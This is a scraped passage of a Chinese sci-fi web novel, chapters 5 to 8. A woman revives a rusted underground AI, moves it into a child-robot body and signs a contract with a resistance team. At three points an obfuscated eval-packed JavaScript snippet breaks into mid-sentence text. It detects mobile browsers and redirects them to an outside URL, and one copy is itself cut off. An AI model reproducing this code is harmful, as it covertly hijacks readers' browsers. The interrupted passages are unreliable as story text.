既然谈完了就没必要再聊下去,控夏看向屋子里唯一一张床,用眼神询问他。 对方礼貌示意她随意。 得到同意,她起身,想直接上床休息一下。 但小腿处的湿润提醒她,她身上还湿着,这样随便弄湿别人的床可不礼貌。 于是她施施然对着轮椅上的人询问:“你这里有没有多余的裤子?” 5. 第 5 章 沈礼聿并没有动作。 控夏十分遗憾,看来这张床的命运就是被弄湿。 她脱掉身上防水的外衣,打算直接躺下。 沈礼聿忽然道:“有。” 控夏看他控制着轮椅的方向,到内室里拿出一套完整的衣物,她粗略估计一下,上衣裤子都是齐的。 “其他人拿的,都是齐的。”沈礼聿慢慢把轮椅推到她面前,然后把手上的衣物递给她。 “里面有浴室,应该有热水,你去冲一冲吧。”他说,“原本你醒来之后我就该拿给你了。” 控夏定定盯着他,把他盯得表情不自然起来。 沈礼聿慢半拍道:“明天跟我团队里的人见个面吧。” 控夏拿着衣服进了浴室,沈礼聿在原地停留一会,把她刚才扔在地上的外衣捡起来,抖落两下后挂到角落的木架上。 他对着墙壁打开手腕上的通讯器,在群聊编辑了一段话发出去: “我们目前已经初步达成合作意向,明天要详谈。老梁,记得赶一份合同出来。” 被叫“老梁”的人回复收到,紧接着一个头像大写王字的人私聊他道:“衣服给了吗?” “给了。”沈礼聿回复道,“但她的表情有些奇怪。” 对方很快发来一串语音条,沈礼聿点开,是偏清冷的女性音,听起来有些焦急:“为什么?是不喜欢我挑的衣服吗?” “……你冷静点。” “她没看里面的衣服,可能是觉得我,呃。”沈礼聿捏捏眉头,手指沉重地敲下几个字:“可能是把我当成变态了。” “哦。”声音听起来有些庆幸,“那就好。” 她一点都不关心沈礼聿的死活。 沈礼聿倒也不生气,刚要敲下几个字,就被身后门打开的声音吸引去注意力。 他顺手关了通讯器,转过去。 控夏带着一身水汽出来。 她的短发是湿的,在往下滴水,抬眼看过来时,沈礼聿觉得她的银色瞳孔上也带了湿漉漉的水汽。 “垃圾桶在哪。”她问。 沈礼聿拨动轮子,露出身后藏匿的垃圾桶。 一切终于准备就绪,控夏躺在床上,闭着眼,打算休息三小时。 旁边的人却窸窸窣窣地,嗓音在空气中响起来,“你明天几点有空?” 控夏想起他说的见面,“傍晚五点。” 对方没了声响。 “明天傍晚五点。”沈礼聿在群里发。 底下齐齐都是“1”,只有“王”又给他发了私信。 “她是不是穿了我给她准备的衣服?” “是。”沈礼聿回道。 “喜不喜欢?” “没说。” “你没问吗?” 沈礼聿叹了口气,知道他不给个说法,对方今晚都不会安生了。 “明天问。”他回。 控夏起来时是凌晨四点,外面下着瓢泼大雨。 这几天难得休息好,她眼珠子上下左右地活动着,脑子清醒。 终于缓解掉眼睛的不适感,她睁开眼,下床时却没找到自己丢在地上的外衣。 “在那边。”身后突然传来声音。 控夏转头,看见老神在在坐在轮椅上的沈礼聿。 目光顺着他手指的方向看去,控夏看见了挂着的衣服。 她过去拿下来,上面还沾着雨水,用力抖了抖,她一边穿上一边问:“你一晚上没睡?” 穿好了,控夏倚着旁边的桌子,抬眼看过去。 “我不需要休息。”沈礼聿说。 控夏挑眉,“只有机器才不需要休息,你是机器?” 沈礼聿跟她对视一会,慢吞吞移开目光。 他手边不知道什么时候多了杯热茶,被端起来时还冒着热气。 控夏没趣地站直,拉好外衣的拉链,就要开门走出去。 “等等。”沈礼聿叫住她,“有人托我问你。” 控夏没听到后面的话,“你说什么。” “衣服穿着喜欢吗。”他问完又喝了口热茶,一直盯着她。 “衣服?”控夏低头,拍拍手臂,“很不错,非常舒服,是位女性?” 沈礼聿知道她是在问挑衣服的人,点点头。 “替我向她问声好……下午就能见面了吧?” 得到肯定的答复,控夏推开门,身子露了一半在外面,外衣衣角被急速的风吹得哗哗作响。 “回见。”她道。 门轻轻合上,控夏左右巡视一遍,在黑暗中翻到对面的立墙上,原地留下一道影子。 鸽子如影随形,尖利的小爪子紧紧抓住她肩旁面料,在风中巍然不动,像座雕塑。 控夏偏头同它黑豆大小的眼珠对上,从里面看出一丝疑惑来。 既然不碍事,那就任它停着好了。 联盟大楼有个隐蔽的入口,只有高层们知道。 当然,控夏也知道。 这个入口不仅隐蔽,并且进入时不会被录入信息。 控夏现在就站在这个门前。 她拍拍肩,灰白的鸽子惊吓地扑扇着翅膀,飞走了。 这扇门大概很少有人来维护,门底生了锈迹,滑动时会落下疏松的锈,在运动范围内显现出半扇形的形状。 控夏用鞋底蹭一蹭,把痕迹都抹去。 门后是一条向下的长长甬道,没有丝毫光亮,视觉上看深不见底。 她轻轻合上门,眼前暂时失去光明。 不要紧。 控夏深呼出一口气,抬手摸了摸自己颈间,找到一处地方,然后用力按下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108718|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她闷哼一声,手心里多了一枚芯片。 将芯片放在大衣胸口处的口袋中,控夏半蹲下身,双手触碰墙壁。 连续下雨的缘故,这里的墙体十分潮湿。结合生锈的大门来看,想也知道翟仪宗对这里的养护多不上心。 控夏感觉湿润的凉意已经穿透手套,传到指尖,手指头几乎要发麻起皱。 终于,在接近地下的位置摸到不起眼的端口——差不多一个指头那么宽的口,厚度仅仅允许插入一枚芯片。 她从口袋里掏出那枚芯片,找准位置后插进去。 里面大概也生锈了,推进去时阻力很大,控夏费了九牛二虎之力才将它插正。 一秒、两秒……没有动静。 控夏站直,昂起头张望一圈。 这并没有作用,一片漆黑的楼梯间看不清任何东西。 该死的! 她垂头盯着那处,想立刻上楼把翟仪宗拖出来打一顿。 控夏面无表情的站在原地等了五分钟,脑海里翟仪宗的死法已经放到第108种,却无法缓解此刻的怒气。 哔、哔——b、 仪器启动的声音突然响起,响到一半,像泄气的气球发出怪声。 灯一闪一闪,头顶有说话声。 “你刚刚有没有听到什么声音?好像是从脚底下传来的……”说话的人还跺了跺脚,硬跟踏在地面上的声音透过石料,显得发闷。 光源稳定了。 控夏抬着的头微微低下,目光投向延伸向下的楼梯。 “我怎么没听到。”回应的人懒懒的,还很不耐烦,“你别那么敏感,这里是联盟大楼,不会出什么事的。” 被训的人闷闷应了一声,之后就没了声响。 控夏抬脚向下去,绕过一圈又一圈的楼梯,然后开口:“别躲着了。” 没有回应。 她不再废话,拉开上方镶嵌的铁盒门,退后两步,手握成拳挥上去。 在距离1cm的位置被拉住。 控夏侧头,看见自己衣袖底下的裸露机械臂,收回手。 那只机械臂也乖乖离开。 她抬眼看过去,那只手动作优雅的关上了铁盒门,随即速度极快的往把手处邦邦砸了两拳。 安静的室内空间,一时只有金属相撞的声响。 等到再次宁静下来,控夏嘲讽道:“又不是什么重要的东西,至于这么保护吗?” “当然值得,小姐。”优雅浑厚的男音道:“这是我生存的热情。” “一个机器讲什么生存热情。” “小姐,您说的话太让人伤心了。”他声音里包含着悲伤,很快又变得欢快起来,“不过,借景二号并不会在意这种小事。您唤醒我,是有什么事要我帮忙么?” “借景二号十分乐意为您效劳。” 6. 第 6 章 “认主。”控夏问,“我记得当时工程师给你嵌入初始数据时,定下的规矩是你只能听从一个人的命令,对吗?” “也许吧。”借景二号醇厚的声音十分含糊,显然不想谈论这个话题。 控夏目光锁定虚空中的一处,然后莫名笑一下。 这一下把借景二号看得汗毛直立——是它给自己设置的虚拟汗毛。 借景二号讪笑一下,在虚空中显现一个方形头颅,没来得及讲话,被身体深处传来的警告吓出一声惊叫。 “你你你——!你就不能温柔一点吗?!”它惨叫道,盯着自己断掉的机械手悲伤。 “我知道你不想认,但自从你产生自己意识后就一直呆在这,你不想离开吗?” “翟仪宗不知道这里关着什么,所以从没有找人管过这里——”控夏扔掉手上的机械臂。上面断接口泛着微黄的锈,随着落地的动作不断震落更多。 她拍拍手,“身上锈得差不多了吧?” 借景二号盯着她的动作,从嗓子里憋出一句话:“——你要做什么?” “别误会。”控夏无奈道,“我又不是暴力狂。” “哈哈。”借景二号干笑两声:“谁说不是呢。” 气氛沉默了好一会,它干巴巴地转移话题,“要我认主,你能交换什么?” “这可不是我让的,底层代码就写着这个啊!”它看着控夏逐渐扬起拳头,断掉的机械臂挡在她面前,企图拦下,与此同时,方形脑袋往角落里靠近一点。 控夏摊开手掌,手心俨然放着一只小巧的螺丝刀,“我帮你修好你的肢体,怎么样?” 借景二号沉默好一会,才开口:“帮我修一下身体就想让我认主,什么黑奴条约。” “你怎么知道我要让你做什么呢?说不定我只是想帮助你离开这里。” “……还是聊点正经的吧。” 控夏夸张地叹了口气,“好吧。这可是你自己说的。” “虽然你一直没有链接外界,但应该知道天懿号出问题的事吧?”她正色道,“保护罩的范围在不断缩小,虽然现在速度不快,夜以继日,人类迟早会灭亡。” “我听程先说,你的愿望是拥有一个自己的小院子?” 确实。 它还有一个愿望是和它的“母亲”生活在一起。不过这个愿望永远都不会实现了。 “如果人类覆灭,你离死亡也不远了。” 借景二号很想硬气地说一句“死就死了,愿望不实现也罢”,可惜,它面前站着的人是控夏。 这个狠心的家伙是真的会让它死、就、死、了,更大的可能性,是他它现在当场就被搞死。 ——如果它不答应的话。 控夏循循善诱道:“我可以在危机结束后给你搭一座漂亮的小院子。里面会种满向日葵、小雏菊、和绿桔梗。” “你开什么玩笑。”借景二号十分无语,“现在连野生的动物都难见,怎么可能会有那些花。” “谁说没有了?”控夏翘出一根手指,指尖闪现出一幅小小的画面。上面是阴天下灰鸽子不停盘旋的场景。 借景二号好奇凑近,在角落找到时间,显示一周前。 它还是不相信,却发现面前的画面来自真实摄制,并非合成。 居然是真的?! 借景二号嘴角控制不住的翘起,难道它真的可以看见书上那些美丽的花儿了吗? 一个充满阳光的小院子,里面种满了向日葵、小雏菊、和绿桔梗。翅纹诡谲的蝴蝶停留在盛放的花心处,又翩翩起舞,将那处做成舞台,肆意绽放。 这会是多么美好的一幕啊。 “我答应你。”借景二号说。 它又补充:“不过你得先把我身体修好,不然无法达成交换。” “行。”控夏收回手,在腿侧边墙上敲开一道暗格,然后输入密码,扫描眼瞳。 啪。 从暗格里掉下来一个盒子,弹在脚边。 控夏拿起来,拍拍表面。 “你!你怎么知道有这个东西!”借景二号把断开的机械臂捏回去,想夺回自己的核心。 控夏把它藏在身后,“你是不是太小瞧我跟程先之间友谊的羁绊了。” 忘记了,“母亲”和面前这个家伙的关系超越一切,知道这个并不奇怪。 它问:“你要把它带去哪里?” 控夏一下一下抛着黑盒子,说:“错了。不是带它去哪里,而是带你。” “我?” 借景二号沉默了。 它的身体几乎渗透了整个城市的地下,经脉附着在联盟大楼的墙与墙之间。 要把它带走,是要把整座城市都翻过来吗? “这副躯壳并不重要。”她不赞成的摇摇头,“我给你换副轻便的,从走出这个门开始,你就不再是借景二号了。” “听见了吗?” “程借景。” - 跟机器人扯皮也费时间。 控夏随手把小黑盒揣进兜里,更往下面走。 过了足足六分钟,她才站定在一道门前,伸手敲了敲。 没有回响。 她扣住墙皮,在缝隙里找到使力的地方。 用力拉—— 门被撬动,终于缓缓现出隐藏的真面目。 是生物实验室。 里面并没有开灯,依旧没有人影。 门拉开弄出的声响倒是引来了一个老熟人。 “谁?!” 控夏没应声,看见老大爷拎着酒瓶就来了。 老大爷模模糊糊地,看见黑暗中有个人影,心跳加速,两眼一闭索性直接冲了上去。 “啊——!!” 控夏接住空中飞舞的酒瓶,对着老头说:“这么大礼。” 耳熟。 老头摸摸自己脖颈,居然还活着。 他悄悄睁了一只眼,看见一个身影从自己身边掠过。 “让你找的人找了吗?”那人发问。 似曾相识的语气,老头终于想起几天前来的这么个人。 他松口气,“还在找,有的人……死了。” “嗯。”意料之中。 老头继续道:“目前已经集齐了一半人,大部分还愿意回来,另外的小部分已经找到生计。” 控夏皱眉。 老头说得委婉,但想也知道,那小部分人是不会放弃好不容易稳定下来的工作,还回到并不稳定的实验室继续务工。 不过不需要担心。 “只需要找几个人回来。要懂基因的。” “但是,”实验室不是停止启用了么? 控夏抬手,示意老头不必再说。 “我知道你的意思。但实验室我征用了。”她按开旁边一台机器的开关。 机器应声亮起红色警示灯,随即变绿,发出隆隆响声。 “这——”老头看着已经进入预备状态的机器,露出惊讶。 这座实验室已经休眠了近三个月。 在那群研究员被辞退前,这里也仅仅只是亮着灯,除了偶尔椅子拉动的声响,再无其他。 每个人都来去匆匆,面上神情大多冷漠,还有少部分焦头烂额,显然是降低的工资让她们在这座城市难以存活下去。 老头是眼睁睁看着它变成这样的。从机器轰鸣、人员繁杂吵闹,变成现在空无一人。 他以为会一直这样下去,直到他也被赶走,这座曾经创造出灿烂辉煌的实验室被人彻底遗忘。 响起的轰鸣声是否会改变结局?他不知道,但看着显示操作面板的机器,他久违的感受到一股热血在身体里沸腾。 “明天能来吗?”控夏不知道他的心理活动,只是问。 等这只鸽子的结果出来,她准备着手去抓一只那日游行时见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108719|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的怪物。 控夏直觉,那个才是重中之重。 “可以!可以!”老头十分激动,从口袋里摸出通讯器,熟练操作着,“下午就可以!” “好。”控夏说:“研究员来了之后,麻烦她们测试那只鸽子的数据。” 从实验室出来,已经天光大亮。 控夏抬手遮阳光,发现地上的水已经被晒干了。 广场上偶尔有人走动,她快步穿过中央,回到贫民区,又七绕八绕,最终站定在运作中心前。 运作中心是一座半圆球状的建筑物,矗立在城市边境,跨过两步就能离开保护罩。 外面是浓到看不清的黑雾,和数不清的、已经化掉的累累白骨。 站在这里向外看时,像是被深不见底的黑雾笼罩了,看不清世界,也看不清自己。 无力感涌上心头,控夏抬头,看着吸附在保护罩上的黑雾,喉头微动。 她低下头眨眨眼,走到边界处,发现保护罩的边界确实在缓步往前逼近。 很细微的变化,如果不是数据监测到,这座城市会像温水煮青蛙,一步一步被黑雾吞噬。 控夏蹲下,摸了摸地上。那里原本的痕迹已经消失,她从衣服里摸出一把匕首,用力地刻下新痕迹。 把上面的灰尘扫干净,控夏站起来,转身面对运作中心。 天懿号的主体在里面照常运转着。 她低声喊出程借景,距离最近的摄像头细微转动。 抬步朝摄像头方向去,控夏在通讯器里编辑出几个字,看摄像头上下摆动后,删除。 不一会,控夏肩膀被拍了一下。 她装作被吓到的样子转头,看见一张很久没有见过的脸。 “怎么突然想起来找我?”对方黑发杂乱,身上的衣服很皱巴,显然是刚脱了实验服匆匆赶过来的。 控夏把水推到她面前,不浪费时间,开门见山道:“瞿仪宗的打算是什么。” “天懿号?”对方拿起杯子,小啜一口,然后才道:“……我不知道。” 不知道——? 瞿仪宗到现在都没有给出解决方案来么? 控夏想着,听到对方苦笑着说:“我被降职了,两天前。” 她骤然失神,沉默两秒后才问:“为什么。” 其实心里早已知道答案。 对方果然说:“不明原因。那天我被组长当着所有人的面带到办公室,再出来时,那层楼的权限已经不再对我开放。” 看来瞿仪宗铁了心要把我踢出去。 就连毫不相干的人都被连坐,真是怕我怕得要死啊。 控夏嗤笑一声,突然慢半拍地想到,自己并不清楚沈礼聿的做事风格,不知道对方有没有在爆炸现场留下点什么。 如果没有的话,瞿仪宗这两天该急坏了吧? “还找不到?”瞿仪宗死死盯着眼前的人,从牙缝里挤出这句话。 对方低着头,并看不清表情,只是语速极快道:“属下带人将联盟大楼翻了个遍,来来回回找了三遍,都是没有。” 难道真给那个女人逃出去了? 瞿仪宗面无表情的推翻这个可能。 狭小的密闭空间、最新研制的精制热弹,在爆炸时会释放极高热量,外加电梯碎片,足够一个人死上千八百回。 哪怕是经过改造的仿生人都绝不可能逃过。 他冷静下来,又问:“其他消息呢?” “没有。”对方接着道:“在中心围向外扩散地毯式搜查三遍,没有。” “任何地方。”瞿仪宗强调道:“确定是任何地方。” 面前的人突然抬起头,嘴唇蠕动着,挤出一句话:“……除了运作中心附近。” 对方还想解释,被瞿仪宗沉着脸打断。 他压不住自己满腔怒火,“现在马上去查!” “要是错漏了什么,你等着死。” 7. 第 7 章 “所以是发生了什么吗?” 控夏老神在在说:“明面上来说,我现在已经死了。” 对方震惊地失手打翻了水杯,两个人手忙脚乱,终于收拾好一片狼藉。 控夏把湿透的纸巾扔进垃圾桶,抬头看她。 面前的人明显被她的话震到失神,控夏喊了一声:“菲菲姐……” 林菲目光聚焦在她脸上,控夏才继续,她显然十分不好意思:“你被降职可能是因为我,对不起——” 控夏被迫闭上嘴。 林菲把手指从她嘴上移开,愤愤道:“那死老头!” 明显是在骂瞿仪宗。 控夏勾了下嘴角,耳朵灵敏地听到外面有讯问的声音。 不太对劲。 她皱着眉头,比了个停止的手势,最终确认,外面确实是在审讯。 “菲菲姐,我现在身份敏感,得先走。”控夏站起身,“你的职位,我会想办法帮你提上去。” “有见过这个人吗?短黑发,银色眼睛。” “没有,没有。” 审讯的声音越来越近,话语已经明示到控夏身上。 控夏皱皱眉,低声对林菲说:“不要对任何人说见过我,后面我还会来找你。先走了。” 几乎控夏前脚刚离开,下一秒护卫军就走进店里,一个一个抓着店里的人盘问。 人不多,很快就询问到林菲旁边那人身上。 护卫军点开电子卷轴,冷漠机械地询问:“有见过这个人吗?短黑发,银眼。” 那人本只是随意扫过一眼,就想敷衍回答没有,眼睛却定住了。 他犹犹豫豫,将视线在卷轴和林菲身上跳来跳去,没出声。 直到护卫军不耐烦地再次询问,他才开口:“……刚刚好像还在这里。” 问他那人脸色骤变,语气急促,“在哪里?!” “这里。” 护卫军目光顺着他的手指看过去,果然发现异常。 他们迅速包围了林菲,为首的人先发问:“这位小姐,请问这边刚刚是离开了什么人吗?” “我妹刚离开,她工作有急事,先走了。”林菲抬头,对他微笑,“有什么问题吗?” “你妹……”他打开手上的电子卷轴,指着上面人的一张脸,皮笑肉不笑问:“长这样么?” 林菲目光放在那张脸上,冷静道:“确实有些像。” “不过我妹可没有这张脸那么好看。” 她耸耸肩,“唯一的相似点大概就是黑短发了。不过你们也知道,贫民都是这个发色,我也是。” 对方视线移到她头上,迟疑了。 林菲道:“要是不信的话可以去查查监控。” 围成一圈的护卫军里有人刚挪出一步,被叫住。 “小姐,这可不是你说的算的。” 说完,领头的人一挥手,“带走!” “这怎么办?!”程借景发出哀嚎。 控夏面色如常,手指从通讯器上离开。 她让程借景关掉监控画面,“会没事的。” “哦。”他乖乖关掉,然后才反应过来,“你这是去哪里?” “公墓。”控夏道。 “公墓?”程借景问:“你有想祭拜的人?” 控夏看他一眼,语气冷淡:“没有。不过程先埋在这里。” ! 程借景激动地失语片刻,然后才问:“你带我来见她!?” 控夏避开失去控制的飞行器,从公墓的侧门进去。 身后的飞行器擦在地面上,发出尖利的响声,过后有人从里面出来,嘴里愤愤地不断骂出脏话。 她偏头看了一眼,只看见是个银发,随即并不在意的抬步跨进公墓。 公墓是个房间的模样,里面不是传统模式,牌碑架成了一层层的样式。 里面只放置对城市有贡献的人类骨灰,既有墓碑,又有电子二维码。 二维码扫描出来是生前简介,主要讲解逝者生前对城市做出的贡献,视频又长又臭,还不能拉进度条。 不过还好,这里只有高层能进入,因此只是不起眼的在那里蒙尘着。 她熟练的按下几个数字,伴随着舒缓的乐声,更深一层的按键被开放。 程借景看见她又输了一串数字,速度很快,他并没有看清楚是什么。 然后开放的是指纹和虹膜锁。 一一扫描过后,面前的透明罩子里迅猛地轮转三圈,像旧世纪火爆的幸运大转盘一样,最终稳稳将一排定位在控夏面前。 上面写着两个飘逸的大字:程先 程借景:“……” 他忍不住吐槽:“这种反人类的墓碑放置方式是谁想出来的?活人进去得吐着出来,死了都不安生。” “程先。” 程借景闭麦了。 控夏从侧边弹出的几个按键里选择第三个按下。 唰! 黑色的盒状物猛然出现,控夏习惯地打开,无视程借景惊恐的叫声。 将里面的小物件都捡出来,她手指灵活地捡起拼好,不一会,类人雏形初现。 “这也是……”母亲搞的吗? 程借景好半晌才开口。 “是。”控夏拼装的同时回答,“我以为你早就发现她的恶趣味属性了,没想到居然这么惊讶。” 程借景一时语塞。 自己在地底下呆了十年,母亲缺点的记忆早就在时间冲刷下淡忘干净。 更何况,一点小小的恶趣味怎么能算是缺点呢? 他不说话,控夏也不主动提起话题,手下零件一个个减少,最终成了一个小男孩的造型。 控夏拍拍手,说:“好了,你可以进去了。” “这个……是母亲留给我的吗?”程借景小声道。 控夏点头,给他提前打了个预防针:“你的意识进去后会自动转变成小男孩,我指的是声音。” “正好我也受够了,其实我一直想问,到底谁教你换的这个声音?听起来像霸总文里的管家。” “不好吗?”骄傲的程借景提起自己满意的声音,语气也变得自豪起来,“我翻遍了人类的语音库。” “不好。”可惜他面前站着的是控夏,“跟你的小学生情绪相配,简直活脱脱傻子出世。” 呜。 程借景无能狂怒,怂怂的将自己的意识附在面前的小男孩躯体上。 再睁开眼,他只能看见控夏的腰带。 “我怎么……?”变矮了三个字没出口,程借景摸着自己的嗓子,难以置信。 “哈哈哈。”头顶传来控夏的嘲笑声,“程先果然有先见之明,男童音加小学生情绪,绝配。” 说完这句,她随手撸了把小学生的黑发,“走了。” 程借景一只手护头,一只手护脖子,对自己消失的管家男音感到十分难过。 他不说话,只是怒视着控夏。 “你再看也改变不了什么,男童音是被写进底部程序里的,只要你待在里面,就是这个声音。” 控夏无情道:“跟你的管家音说再见吧。” 程借景非常愤怒,他握紧了拳头,往旁边泄愤一锤。 哔。 程借景吓了一跳,随之而来的是熟悉的声音。 控夏看着弹出来的画面,面无表情想:跟小学生对话就是费劲。 她向下一瞥,见小学生脸贴在透明罩上,紧紧盯着画面上的女人看。 不过有时候还是挺乖的。 画面里的女人自然是程先。 程借景听着活泼上扬的女音,像十年前无数次那样,抬头仰望那张脸。 那张看过无数次的脸。 - 程借景是被控夏牵出来的。 他已经良好接受了控夏的小学生说辞,乖乖牵着控夏的手。 虽然对方并没有照顾他的意思,步子跨得大,两条腿抡得飞快,轻轻松松把他丢到后面,还要转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“咳咳。”沈礼聿手握成拳挡在唇边,正色道:“瞿仪宗把你的个人档案从电子系统里面删除了,所以电子合同无法起到效用,我们就采用纸质合同,以按压手印和录入虹膜的方式进行。” “有什么区别……不都没有作用。”程借景小声吐槽。 所有人的目光都看向他。 后知后觉的程借景双手捂住嘴巴,尬笑着往控夏身后躲了躲。 “我的个人档案也被电子系统删除了。”沈礼聿道,“纸质合同的效用是确定身份和明确合作内容,违约赔偿不根据玫瑰法案。” 他从轮椅旁边取出五枚芯片,搁置在桌上:“这五枚芯片会被植入我们体内,只要指纹和虹膜录入成功,它就会生效。” 控夏捡起一枚,仔细查看之后,把程借景从后面拎出来,“扫描。” 程借景顶着另外五个人的视线压力,用瞳孔扫描一遍,没有仔细看内容,然后把芯片扔回桌上,闷闷道:“好了。内容已经传输到你通讯器上。” 控夏点开通讯器,翻阅过一遍后眼角抽动,抬头扫了他们五个人一眼,又把程借景拎出来,“扫描。” 她把合同扔给程借景。 只有几页纸,看起来是很快的。 程借景翻到最后,不自觉将自己的真心话说出口:“黑奴条约!” “嗯?”控夏加重语气。 她眼皮跳跳,满脸严肃地盯着程借景。 程借景把合同放回桌上,极快的扫了他们一眼,凑到控夏耳边,气急败坏:“你把我带什么地方来了?!福利那么好!天上哪有掉馅饼的事,小心被他们几个骗了!” 他说着话,同时快速调出上一份文件内容,吓得语气变了个调,“这妥妥诈骗啊!你快带我走!” 8. 第 8 章 控夏并不理会他的无理取闹。 “说清楚。” 程借景警觉地看他们五人几眼,语速极快道:“——大意就是,在双方合作期间,乙方要无条件听从甲方命令,否则会受到芯片内已设定好的程序惩罚。” “问题是这上面的甲方写的是你的名字!” 程借景十分惊恐,“以我阅文多年的经历来说,这不明摆着杀猪盘吗!” 控夏总算知道程借景为什么那么执迷管家音了。 霸道总裁小说看多了。 “玩去吧。”她对程借景挥挥手。 回归正题。 控夏手指在这份合同上点了点,沉吟几秒,抬头问沈礼聿:“你们都清楚里面写的是什么?” 沈礼聿点点头。 “只是为了向你保证,我们绝对忠诚。” 这个理由倒也说得通,但合同上的那内容太极端了。 反而有问题。 控夏翻到最后一页,调出指纹确认和虹膜确认界面,一一扫描过去。 文件轮转,每个人都操作一遍后,纸质合同被沈礼聿保管起来。 这还没完。 桌上放的五枚芯片被他们拿起来,有的人割破手腕,将其插入进去;有的人则是植入到锁骨下;双胞胎最为简便,他们的手同时按在颈侧,侧方立马弹出卡架,放置后直接将卡架推回原位置就好。 控夏正想着,手臂突然被碰了碰,她侧头看去,是王阅。 对方捂着自己鲜血淋漓的伤口,神色紧张地指着程借景,小声问:“看这些……不要紧吗?” “他不怕这些。” “那就好。”王阅舒了一口气,眼睛重新变得明亮起来,“控——我该称呼你为什么呢?” “直接喊名字吧。”控夏默了会,手指搭在自己的衣服上,问她:“昨晚的衣服,是你挑的吗?” 控夏能感觉到她问完这句话后,对方的神色明显变得更加明亮,还疯狂小鸡啄米似的点头,“你喜欢吗?” “喜欢。”感觉这两个字有些太苍白无力,控夏笨拙地补充:“很舒服,感觉身上轻松了很多。” 王阅:“那就好。” “谢谢。”控夏说。 “不用客气。”王阅捧着脸笑意盈盈,“本来也很高兴能给你挑衣服,我应该算你的粉丝吧?应该是这么说。” “粉丝?” “对啊!”王阅十分直白,“我真的很喜欢你。” - “你还会害羞?!”程借景震惊道,“我以为你脸皮比外面的黑雾还厚呢。” “闭嘴。”控夏冷冷道,“话这么多。” “嘁。”程借景傲娇一扭头,果然是被他的话说中了,恼羞成怒。 “现在去哪?”他问。 等了好久,控夏都没有回答他,程借景悄悄看她神情,看见耳根子久不消退的红色。 居然还在害羞! 程借景震惊地左脚拌右脚,差点摔跤。 前面的人已经走得很远,他跑着追上去,没话找话,实则是在偷拍。 拍完就退到旁边,他想着刚刚的照片傻乐。 以后可以拿这个照片威胁她哈哈哈哈哈! “你在干什么?”身边突然传来阴森森的一声问候。 程借景身体一僵,摇头,“没干嘛啊。我还得问你呢,我们现在去哪里?” 听到他的问话,对方嘴角一勾,笑得十分愉悦:“现在?带你见见新朋友。” 新朋友?程借景总觉得她不怀好意。 他撇撇嘴,认命地跟上控夏的脚步。 天已经擦黑,贫民区里陆陆续续亮起灯,温暖的灯光照亮了附近的方寸之地。 程借景从窗上的影子看见一家三口正吃晚饭,欢声笑语缱绻地透出来。 他突然有些难过。 如果一切都按照翟仪宗的运作发展,控夏死在那场爆炸中,天懿号出现的错误被放置不理,那么会出现什么场景呢? 他并不清楚翟仪宗的打算,只知道未来这些人一定会死在这座城市里,被污染悄无声息的侵蚀——他们甚至不知道自己现在处于一个什么样的境地当中。 明天天一亮,唯一的烦恼是为生计奔波,让日子变得更好一点而已。 程借景正沉浸在对未来的伤感和担忧中,忽然听见一声热切的:“控——小姐!你来啦!” 他抬头看去,一个女人笑容满面,旁边是两个小孩。 程借景叹了口气,他最烦小孩子了,虽然这是第一次见到小孩。 从旧世纪遗留下来的资料来看,小孩大多难缠又无理取闹,而他可是这个时代最先进的机器啊! 尽管这个名号是自己封的。 看着控夏往她们面上走,程借景只是暗暗祈祷,希望不要跟小孩交流。 可惜,控夏说的新朋友就是他们。 “你怎么不跟他们玩。”控夏十分疑惑。 “我以为你会很喜欢这两个新朋友。” 什么?! “你说的新朋友是两个小孩?!”程借景相当大声,他不敢置信。 控夏嫌他吵,掐住他的嘴:“小孩怎么了,你不也是。他们俩比你可爱多了。” “谁稀罕!我不跟他们玩。” “这由不得你。”控夏抓着他的肩膀转过去,让他对着那两个人,“女生叫小球,男的……我不太清楚,你自己去问。总之,别来烦我。” 对着程借景举举拳头,她松开他,转身走到老板面前:“有个单子,接不接。” 老板把手上的水渍擦在自己身上,然后给她递上一杯饮料,开始装傻:“什么单子?小姐,我这里只是做一些大众喜爱的饮品,不干其他。” 控夏无视她这句话,自顾自报起详细来,“维修机器,外加保养。需要熟练手尽快做完。修好一处五十万维新币,机器保养总共三十万维新币。” “这……”老板差点松口。 已知一千个维新币足够一个正常体格的人滋润生活一个月。 那么这加起来超过八十万的维新币,又有谁能拒绝呢? “我真不做这个……”老板捂着滴血的心口拒绝。 控夏也不急,轻轻晃了晃手上的饮料,看里面荡出一圈圈波纹。 “如果钱不能打动你的话,我会试试其他方法。” “没有就是没有哇!”老板嗓门大起来,几乎是叫苦连天:“你就是把我扒了皮也没有啊!” “是吗?”控夏眨眨眼,手上不知道什么时候拿了把长勺,指着柜台底下露出来的一角,“那这个是干什么用的?” 老板顺着她指的方向看过去,看见不知道什么时候跑出来的透明玉石,脸色一变。 她快速过去,把玉石藏好了,然后悻悻地看了控夏一眼。 “我不会装看不见的。”控夏朝她笑了笑,“那个东西是做什么的……你知我知。” “你还要继续挣扎一会吗?” 算了。 老板叹了口气。 